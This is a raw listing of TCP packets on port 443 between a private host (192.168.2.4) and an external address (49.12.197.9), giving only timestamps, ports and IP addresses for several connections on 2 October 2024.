Oct 2, 2024 05:19:30.634665966 CEST	443	49748	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:31.197607040 CEST	443	49749	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:31.197702885 CEST	49749	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:31.198196888 CEST	49749	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:31.198209047 CEST	443	49749	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:31.199997902 CEST	49749	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:31.200006962 CEST	443	49749	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:31.633613110 CEST	49750	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:31.633662939 CEST	443	49750	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:31.633749008 CEST	49750	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:31.633996964 CEST	49750	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:31.634013891 CEST	443	49750	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:32.056813955 CEST	443	49749	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:32.056996107 CEST	443	49749	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:32.057025909 CEST	49749	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:32.057061911 CEST	49749	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:32.058105946 CEST	49749	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:32.058121920 CEST	443	49749	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:32.279526949 CEST	443	49750	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:32.279582977 CEST	49750	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:32.281372070 CEST	49750	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:32.281382084 CEST	443	49750	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:32.283627033 CEST	49750	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:32.283632994 CEST	443	49750	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:32.671057940 CEST	49751	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:32.671159983 CEST	443	49751	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:32.671439886 CEST	49751	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:32.671591997 CEST	49751	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:32.671624899 CEST	443	49751	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:33.157596111 CEST	443	49750	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:33.157671928 CEST	443	49750	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:33.157782078 CEST	49750	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:33.157782078 CEST	49750	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:33.158704996 CEST	49750	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:33.158735037 CEST	443	49750	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:33.344048023 CEST	443	49751	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:33.344125986 CEST	49751	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:33.344587088 CEST	49751	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:33.344594955 CEST	443	49751	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:33.346288919 CEST	49751	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:33.346293926 CEST	443	49751	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:33.781090975 CEST	443	49751	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:33.781114101 CEST	443	49751	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:33.781127930 CEST	443	49751	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:33.781182051 CEST	49751	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:33.781249046 CEST	443	49751	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:33.781289101 CEST	49751	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:33.781311035 CEST	443	49751	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:33.781337023 CEST	49751	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:33.781368017 CEST	49751	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:33.840543985 CEST	443	49751	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:33.840564966 CEST	443	49751	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:33.840841055 CEST	49751	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:33.840852022 CEST	443	49751	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:33.840895891 CEST	49751	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:33.881231070 CEST	443	49751	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:33.881273985 CEST	443	49751	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:33.881359100 CEST	49751	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:33.881378889 CEST	443	49751	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:33.881432056 CEST	49751	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:33.911804914 CEST	443	49751	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:33.911819935 CEST	443	49751	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:33.911922932 CEST	49751	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:33.911937952 CEST	443	49751	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:33.911999941 CEST	49751	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:33.954673052 CEST	443	49751	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:33.954688072 CEST	443	49751	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:33.954751015 CEST	49751	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:33.954757929 CEST	443	49751	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:33.954799891 CEST	49751	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:33.982912064 CEST	443	49751	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:33.982927084 CEST	443	49751	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:33.983021021 CEST	49751	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:33.983036041 CEST	443	49751	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:33.983084917 CEST	49751	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:34.007457018 CEST	443	49751	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:34.007472992 CEST	443	49751	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:34.007533073 CEST	49751	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:34.007545948 CEST	443	49751	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:34.007605076 CEST	49751	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:34.030854940 CEST	443	49751	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:34.030869961 CEST	443	49751	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:34.030930996 CEST	49751	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:34.030942917 CEST	443	49751	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:34.030993938 CEST	49751	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:34.038283110 CEST	443	49751	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:34.038297892 CEST	443	49751	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:34.038347960 CEST	49751	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:34.038355112 CEST	443	49751	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:34.038410902 CEST	49751	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:34.055649042 CEST	443	49751	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:34.055663109 CEST	443	49751	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:34.055727959 CEST	49751	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:34.055736065 CEST	443	49751	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:34.055775881 CEST	49751	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:34.070077896 CEST	443	49751	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:34.070094109 CEST	443	49751	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:34.070158005 CEST	49751	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:34.070171118 CEST	443	49751	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:34.070224047 CEST	49751	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:34.087351084 CEST	443	49751	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:34.087366104 CEST	443	49751	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:34.087547064 CEST	49751	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:34.087547064 CEST	49751	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:34.087568998 CEST	443	49751	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:34.087627888 CEST	49751	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:34.102817059 CEST	443	49751	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:34.102830887 CEST	443	49751	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:34.102994919 CEST	49751	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:34.103008986 CEST	443	49751	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:34.103063107 CEST	49751	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:34.113034010 CEST	443	49751	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:34.113048077 CEST	443	49751	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:34.113105059 CEST	49751	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:34.113117933 CEST	443	49751	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:34.113169909 CEST	49751	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:34.125025034 CEST	443	49751	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:34.125040054 CEST	443	49751	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:34.125094891 CEST	49751	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:34.125107050 CEST	443	49751	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:34.125252008 CEST	49751	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:34.135341883 CEST	443	49751	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:34.135356903 CEST	443	49751	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:34.135437012 CEST	49751	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:34.135451078 CEST	443	49751	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:34.135586023 CEST	49751	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:34.144341946 CEST	443	49751	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:34.144356966 CEST	443	49751	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:34.144434929 CEST	49751	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:34.144447088 CEST	443	49751	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:34.144478083 CEST	49751	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:34.144496918 CEST	49751	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:34.152877092 CEST	443	49751	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:34.152892113 CEST	443	49751	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:34.152954102 CEST	49751	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:34.152961016 CEST	443	49751	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:34.153000116 CEST	49751	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:34.159791946 CEST	443	49751	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:34.159806013 CEST	443	49751	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:34.159982920 CEST	49751	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:34.159990072 CEST	443	49751	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:34.160032988 CEST	49751	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:34.171977997 CEST	443	49751	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:34.171992064 CEST	443	49751	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:34.172224045 CEST	49751	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:34.172236919 CEST	443	49751	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:34.172295094 CEST	49751	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:34.185828924 CEST	443	49751	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:34.185842991 CEST	443	49751	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:34.186014891 CEST	49751	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:34.186028004 CEST	443	49751	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:34.186223030 CEST	49751	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:34.199114084 CEST	443	49751	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:34.199126959 CEST	443	49751	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:34.199198008 CEST	49751	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:34.199209929 CEST	443	49751	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:34.199350119 CEST	49751	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:34.210594893 CEST	443	49751	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:34.210613012 CEST	443	49751	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:34.210680962 CEST	49751	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:34.210694075 CEST	443	49751	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:34.210839987 CEST	49751	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:34.220964909 CEST	443	49751	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:34.220978975 CEST	443	49751	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:34.221038103 CEST	49751	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:34.221050024 CEST	443	49751	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:34.221097946 CEST	49751	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:34.230748892 CEST	443	49751	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:34.230763912 CEST	443	49751	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:34.230935097 CEST	49751	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:34.230947018 CEST	443	49751	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:34.231156111 CEST	49751	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:34.238145113 CEST	443	49751	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:34.238159895 CEST	443	49751	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:34.238224983 CEST	49751	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:34.238230944 CEST	443	49751	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:34.238272905 CEST	49751	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:34.245799065 CEST	443	49751	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:34.245811939 CEST	443	49751	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:34.245871067 CEST	49751	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:34.245881081 CEST	443	49751	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:34.245923996 CEST	49751	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:34.253679037 CEST	443	49751	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:34.253695965 CEST	443	49751	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:34.253756046 CEST	49751	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:34.253762007 CEST	443	49751	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:34.253799915 CEST	49751	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:34.274048090 CEST	443	49751	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:34.274063110 CEST	443	49751	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:34.274118900 CEST	49751	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:34.274131060 CEST	443	49751	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:34.274180889 CEST	49751	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:34.286731005 CEST	443	49751	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:34.286745071 CEST	443	49751	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:34.286853075 CEST	49751	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:34.286864042 CEST	443	49751	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:34.286940098 CEST	49751	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:34.298923969 CEST	443	49751	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:34.298937082 CEST	443	49751	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:34.298995972 CEST	49751	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:34.299007893 CEST	443	49751	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:34.299179077 CEST	49751	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:34.308176041 CEST	443	49751	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:34.308195114 CEST	443	49751	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:34.308255911 CEST	49751	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:34.308269024 CEST	443	49751	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:34.308315039 CEST	49751	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:34.318228006 CEST	443	49751	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:34.318242073 CEST	443	49751	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:34.318301916 CEST	49751	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:34.318314075 CEST	443	49751	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:34.318461895 CEST	49751	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:34.329772949 CEST	443	49751	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:34.329786062 CEST	443	49751	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:34.329942942 CEST	49751	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:34.329953909 CEST	443	49751	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:34.330007076 CEST	49751	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:34.333177090 CEST	443	49751	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:34.333192110 CEST	443	49751	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:34.333249092 CEST	49751	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:34.333261013 CEST	443	49751	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:34.333312035 CEST	49751	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:34.340898991 CEST	443	49751	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:34.340913057 CEST	443	49751	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:34.340970993 CEST	49751	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:34.340981007 CEST	443	49751	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:34.341027975 CEST	49751	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:34.361439943 CEST	443	49751	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:34.361454010 CEST	443	49751	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:34.361515045 CEST	49751	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:34.361526966 CEST	443	49751	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:34.361675024 CEST	49751	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:34.385395050 CEST	443	49751	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:34.385409117 CEST	443	49751	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:34.385556936 CEST	49751	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:34.385571003 CEST	443	49751	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:34.385623932 CEST	49751	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:34.389147997 CEST	443	49751	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:34.389162064 CEST	443	49751	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:34.389219046 CEST	49751	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:34.389230967 CEST	443	49751	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:34.389281034 CEST	49751	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:34.395668030 CEST	443	49751	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:34.395682096 CEST	443	49751	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:34.395741940 CEST	49751	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:34.395754099 CEST	443	49751	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:34.395802975 CEST	49751	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:34.405534029 CEST	443	49751	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:34.405545950 CEST	443	49751	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:34.405601025 CEST	49751	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:34.405612946 CEST	443	49751	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:34.405781984 CEST	49751	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:34.417449951 CEST	443	49751	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:34.417486906 CEST	443	49751	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:34.417519093 CEST	49751	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:34.417522907 CEST	443	49751	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:34.417690992 CEST	49751	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:34.417690992 CEST	49751	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:34.417783976 CEST	49751	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:34.417815924 CEST	443	49751	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:34.418715000 CEST	49752	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:34.418751955 CEST	443	49752	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:34.418833017 CEST	49752	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:34.419070005 CEST	49752	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:34.419095039 CEST	443	49752	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:35.059851885 CEST	443	49752	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:35.059909105 CEST	49752	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:35.060678959 CEST	49752	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:35.060687065 CEST	443	49752	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:35.063179016 CEST	49752	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:35.063185930 CEST	443	49752	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:35.487534046 CEST	443	49752	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:35.487554073 CEST	443	49752	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:35.487576962 CEST	443	49752	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:35.487641096 CEST	49752	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:35.487660885 CEST	443	49752	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:35.487688065 CEST	49752	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:35.487700939 CEST	49752	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:35.518484116 CEST	443	49752	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:35.518502951 CEST	443	49752	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:35.518589973 CEST	49752	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:35.518601894 CEST	443	49752	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:35.521585941 CEST	49752	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:35.585370064 CEST	443	49752	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:35.585386992 CEST	443	49752	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:35.585472107 CEST	49752	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:35.585480928 CEST	443	49752	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:35.589642048 CEST	49752	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:35.615180969 CEST	443	49752	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:35.615204096 CEST	443	49752	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:35.615284920 CEST	49752	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:35.615293026 CEST	443	49752	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:35.617383957 CEST	49752	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:35.653529882 CEST	443	49752	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:35.653547049 CEST	443	49752	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:35.653605938 CEST	49752	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:35.653637886 CEST	443	49752	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:35.653654099 CEST	49752	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:35.657368898 CEST	49752	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:35.683799982 CEST	443	49752	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:35.683816910 CEST	443	49752	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:35.683887959 CEST	49752	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:35.683917999 CEST	443	49752	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:35.685693026 CEST	49752	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:35.702708960 CEST	443	49752	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:35.702724934 CEST	443	49752	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:35.702826977 CEST	49752	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:35.702855110 CEST	443	49752	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:35.703054905 CEST	49752	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:35.720613956 CEST	443	49752	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:35.720633984 CEST	443	49752	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:35.720699072 CEST	49752	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:35.720726013 CEST	443	49752	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:35.721517086 CEST	49752	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:35.737981081 CEST	443	49752	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:35.737996101 CEST	443	49752	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:35.738063097 CEST	49752	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:35.738086939 CEST	443	49752	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:35.738418102 CEST	49752	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:35.752641916 CEST	443	49752	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:35.752660036 CEST	443	49752	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:35.752746105 CEST	49752	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:35.752770901 CEST	443	49752	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:35.753016949 CEST	49752	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:35.769726038 CEST	443	49752	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:35.769745111 CEST	443	49752	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:35.769785881 CEST	49752	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:35.769797087 CEST	443	49752	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:35.769823074 CEST	49752	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:35.769841909 CEST	49752	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:35.783288956 CEST	443	49752	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:35.783303976 CEST	443	49752	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:35.783381939 CEST	49752	443	192.168.2.4	49.12.197.9
